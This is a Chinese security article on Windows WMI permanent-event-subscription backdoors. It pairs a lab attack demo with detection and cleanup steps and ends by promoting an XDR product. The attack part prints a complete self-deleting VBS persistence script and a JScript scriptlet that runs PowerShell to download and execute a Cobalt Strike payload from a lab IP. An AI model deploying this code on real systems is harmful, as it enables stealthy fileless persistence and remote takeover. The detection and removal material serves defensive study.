WMI后门技术的攻击与检测

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WMI后门技术的攻击与检测

0x01 WMI初认识

1.1 WMI简介

WMI是从Windows 2000起，在每个Windows系统版本中都会内置的一个管理框架。该框架由一组强大的工具集合组成，用于管理本地或远程的 Windows 系统。它可以为你提供有关本地或远程计算机状态的信息，并且可以用于配置安全设置，例如系统属性，用户组，调度进程或禁用错误日志记录。

1.2 WMI体系结构

首先是WMI使用者，比如脚本或者其他用到WMI接口的应用程序，由WMI使用者访问CIM对象管理器WinMgmt（即WMI服务），后者再访问CIM（公共信息模型Common Information Model）存储库。

  静态或动态的信息（对象的属性）就保存在CIM库中，同时保存对象的方法。比如启动一个服务，通过执行对象的方法实现，实际上是通过COM技术调用各种dll，最后由dll中封装的API完成请求。WMI是事件驱动的，操作系统、服务、应用程序、设备驱动程序等都可以作为事件源，通过COM接口生成事件通知，WinMgmt捕捉到事件，然后刷新CIM库中的动态信息。这也是为什么WMI服务依赖于EventLog的原因。就像注册表有根键一样，CIM库也有分类，用面向对象的术语描述来来说，叫做命名空间(Name Space）。

   下图为WMI架构图。

0x02 WMI持久化后门2.1 概述

WMI实现后门，是在满足特定条件时，使用WMI永久事件订阅（permanent event subscriptions）机制来触发特定操作。攻击者经常利用这个功能，在系统启动时执行后门程序，完成本地持久化。

其主要有两个特征：无文件和无进程。其基本原理是：将代码加密存储在WMI中，达到所谓的无文件；当设定的条件满足时，系统将自动启动powershell进程去执行后门程序，当后门程序执行后进程就会消失。

下图为WMI后门的运行流程图。

2.2 优势

1）可以把WMI当作API来与Windows系统进行交互；

2）WMI在渗透测试中的价值在于它不需要下载和安装，因为WMI是Windows系统自带功能，Windows是默认安装了WMI的；

3）整个运行过程都在计算机内存中发生，除了WMI仓库中的文件之外不会留下任何痕迹；

4）受信任和频繁使用。系统管理员频繁使用和信任WMI，在企业环境中使用WMI非常常见；

5）作为系统运行。任何永久性WMI事件订阅都作为系统运行，从而使它们更具可信度；

6）容易触发。几乎每个操作系统动作都可以触发WMI事件，从而使其与操作系统动作结合使用非常容易。

2.3 不足

wmi后门的唯一不足就是创建WMI永久事件订阅需要管理员权限。

2.4 攻击演示

1、在攻击机kali中由cs生成ps1后门文件；

2、将123.vbs恶意脚本放入受害机启动项中，该脚本的任务是创建事件过滤器，捕获账户成功登陆的事件；创建活动脚本事件消费者，捕获到事件后执行远程脚本cs.js,绑定过滤器和消费者；

3、cs.js脚本是执行远程ps1后门文件，执行完ps1文件后，cs会上线受害机的system权限。

实验环境：kali（攻击机器）、windows7（受害机器）、cobaltstrike

（1）cs生成ps后门，在攻击机开放一个web端口，将cs.js和cs.ps1文件放到web目录中，用来后面进行远程调用文件。

（2）在启动项中放入vbs脚本。

（3）受害机重启，可以看到123.vbs文件已经加载进WMI中。

（4）再次重启，123.vbs脚本会检查启动事件，一旦检测到就会执行我们所创建的事件消费者，执行远程cs.js脚本，该脚本会使用powershell执行远程我们所创建的ps1后门文件，cs成功上线受害机的system权限。

附攻击代码

123.vbs

1. nslink="winmgmts:\\.\root\subscription:"
   
2. '每5秒查询一次“实例创建事件”'
   
3. qstr="select * from __InstanceCreationEvent within 5 "        
   
4. qstr=qstr&"where targetinstance isa 'win32_NTLogEvent' and "
   
5. '实例名是win32_NTLogEvent'
   
6. qstr=qstr&"targetinstance.EventCode='4624' "                 
   
7. 
   
8. '创建事件过滤器'
   
9. set evtflt=getobject(nslink&"__EventFilter").spawninstance_  
   
10. evtflt.name="filtP1"           '定义过滤器的名字'            
    
11. evtflt.EventNameSpace="root\cimv2"
    
12. evtflt.query=qstr                  '定义查询语句'
    
13. evtflt.querylanguage="wql"         '定义查询语言(只能是wql)'
    
14. set fltpath=evtflt.put_            '注册过滤器，返回其链接'
    
15. 
    
16. '创建“活动脚本事件消费者”'
    
17. set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_   
    
18. asec.name="consP1"     '定义消费者的名字'                                                
    
19. asec.scriptingengine="JScript"    '定义脚本语言'                                      
    
20. asec.ScriptText="GetObject(""script:http://192.168.146.136:80/cs.js "")"
    
21. set asecpath=asec.put_        '注册消费者，返回其链接'                                          
    
22. 
    
23. '创建过滤器和消费者的绑定'
    
24. set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_  
    
25. fcbnd.filter=fltpath.path      '指定过滤器'                                         
    
26. fcbnd.consumer=asecpath.path    '指定消费者'                                       
    
27. fcbnd.put_      '执行绑定'                                                        
    
28. dim fso
    
29. set fso = CreateObject("Scripting.FileSystemObject")
    
30. evilname=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,""))
    
31. evilname=evilname& fso.GetFile(Wscript.scriptfullname).name
    
32. fso.DeleteFile(evilname)   'vbs删除自己'

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cs.js代码，执行远程ps1后门

1. <?xml version="1.0"?>
   
2. <package>
   
3. <component id="testCalc">
   
4. <script language="JScript">
   
5. var r = new ActiveXObject("WScript.Shell").Run("powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://192.168.146.136/cs.ps1')");
   
6. </script>
   
7. </component>
   
8. </package>

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0x03 WMI后门检测及清理要实现WMI后门的检测和清理，就必须了解WMIC是如何创建一个事件以及多用途下WMI事件的关键性检测（触发）点。

3.1 WIMC创建事件

（1）创建名为test的过滤器事件

1. wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="test", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

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（2）查看命名空间内存在的过滤器

1. wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list

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（3）创建实例

1. wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="test", ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate=" C:\Windows\System32\calc.exe"

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（4）绑定过滤器和使用者

1. wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="test"", Consumer="CommandLineEventConsumer.Name="test""

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3.2 多用途下WMI事件的关键性检测（触发）点

（1）攻击者使用WMI做持久化时

__EventFilter、__EventConsumer和__FilterToConsumerBinding的实例会被创建。一个__InstanceCreationEvent事件被触发。

（2）当WMI被用做C2时

__Namespace对象实例会被创建和修改，结果是__NamespaceCreationEvent和__NamespaceModificationEvent事件被触发。

（3）通过WMI类存储数据时

__ClassCreationEvent事件被触发。

（4）攻击者安装WMI提供者时

一个__Provider类的实例被创建，__InstanceCreationEvent事件被触发。

（5）攻击者使用开始菜单或注册表做持久化时

一个Win32_StartupCommand类的实例被创建，__InstanceCreationEvent事件被触发。

（6）攻击者使用其它注册表值做持久化时

RegistrykeyChangeEvent或RegistryValueChangeEvent事件被触发。

（7）当攻击者安装服务时

一个Win32_Service实例被创建，__InstanceCreationEvent事件被触发。

3.3 WMI后门检测

在PowerShell中，可以使用Get-WMIObject查看WMI中事件筛选器绑定的事件使用者。

1. #List Event Filters
   
2. Get-WMIObject -Namespace root\Subscription -Class __EventFilter

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1. #List Event Consumers
   
2. Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

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1. #List Event Bindings
   
2. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

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通过此方式可以去筛选正常和异常的事件，然后对异常的事件进行标记。3.4 WMI后门清除

WMI后门的清除主要还是清除创建的对应的恶意的消费者事件，我们首先需要去排查WMI标准的使用者类里面是否存在异常的消费者事件，找到后进行删除即可。

关于如何去获取WMI存在哪些常用的类，或者说一个命名空间存在哪些类，下面介绍了两种方法。

a. WMI标准使用者类以及对应的使用方法如下（https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-start-page）：b. 判断WMI的一个命名空间里面存在哪些类，可以用相关工具（https://www.microsoft.com/en-us/download/confirmation.aspx?id=8572），如下root\subscription存在如下类：

总结起来说：列出WMI命名空间标准类、枚举标准类里面的消费者事件、判断消费者事件是否异常、删除异常事件。

WMI后门清除可以使用Get-WMIObject手动清除，也可以运行清除脚本实现自动化清除。

（1）使用Get-WMIObject手动清除

1. #Filter(删除对应Name的Filter)
   
2. Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Name'" | Remove-WmiObject -Verbose
   
3. 
   
4. #Consumer(删除对应Name和__CLASS 的Consumer)
   
5. Get-WMIObject -Namespace root\Subscription -Class __CLASS -Filter "Name='Name'" | Remove-WmiObject -Verbose
   
6. 
   
7. #Binding(删除对应Name的Binding)
   
8. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE ‘%Name%'" | Remove-WmiObject -Verbose

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  （2）运行清除脚本实现自动化清除

当运行后一个持久化的脚本后，我们用autoruns可以查看到存在如下相关事件

运行我们的清除脚本后，事件会成功删除：

因为前面vbs脚本创建的类为ActiveScriptEventConsumer，创建的消费者名为consP1，因此对应清除的delete_WMI.ps1脚本内如下：

1. get-wmiobject -namespace root\subscription -class __filtertoconsumerbinding -filter "__path like '%consP1%'" | remove-wmiobject
   
2. get-wmiobject -namespace root\subscription -class __eventfilter -filter "name= 'filtP1'" |remove-wmiobject
   
3. get-wmiobject -namespace root\subscription -class ActiveScriptEventConsumer -filter "name='consP1'" | remove-wmiobject
   
4. write-host "success"

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0x04 总结

       从笔者了解的情况来看，其实国内外的安全防护的侧重点是有很大区别的，国内由于这几年网络安全的大环境，渐渐从互联网防护走向了局域网的防护，虽说局域网内已开始有防护，但是还是相对薄弱。而对于入侵检测来说，Windows的工作会比Linux更棘手。安全研究人员会优先考虑安全，业务人员会优先考虑性能，所以在Windows的入侵检测这一块的行为检测注定要做牺牲。

再来回顾这次的实验过程，其实攻击的过程中很多都是可以做检测的：

1、可以监控VBS脚本的行为；

2、可以检测创建的消费者事件，去提取并判定是否恶意的消费者事件；

3、像此次实验中最终还是一个powershell无文件落地上线cs，所以监测powershell去远程加载的接口，然后进行拦截；

4、去监控最终执行或加载的文件，若是恶意的则将其拦截。

当然上面的这些防御从攻击过程进行拦截，是能解决很多入侵问题。但攻防终归是此消彼长，道高一尺、魔高一丈，你有防御，攻击者就有bypass，且不说对抗类的研究分析工作很难，就单单是一个正常的攻击事件后的人工应急排查自动化就让人头疼，自动化的应急排查真的有点让人望而却步了，抛开各类攻击事件的原理，对于自动化的排查笔者有一些思考：

1、根据ATT&CK的防御来说，更多的要做一个联动检测。系统权限维持（后门）的方式有很多种，我们无法穷举并分析出每一种权限维持的方法和特征，单独拿出某一个特征来进行检测务必会有很多漏报误报，这个时候如果关联他的上一步操作和下一步的操作来进行综合研判，就会相对更为准确；

2、配合大数据中心和威胁情报中心来做。无论是大数据还是说威胁情报中心，这些入侵的检测还是会存在一定的“滞后”，但是从另一个层面来说能很大的提高准确性。拿系统后门举例，如果存在系统远控后门，那必然该进程会有一个对外的TCP连接，对外TCP连接的IP地址我们是可以轻松拿到的，如果我们的大数据中心和威胁情报中心能够识别出IP是否恶意，那就能为我们的自动化研判提供了一大有力凭证。

火线云XDR平台入侵检测解决方案，支持对此类的后门事件以及类似的反弹shell、提权检测进行检测和处置，欢迎大家一起交流学习。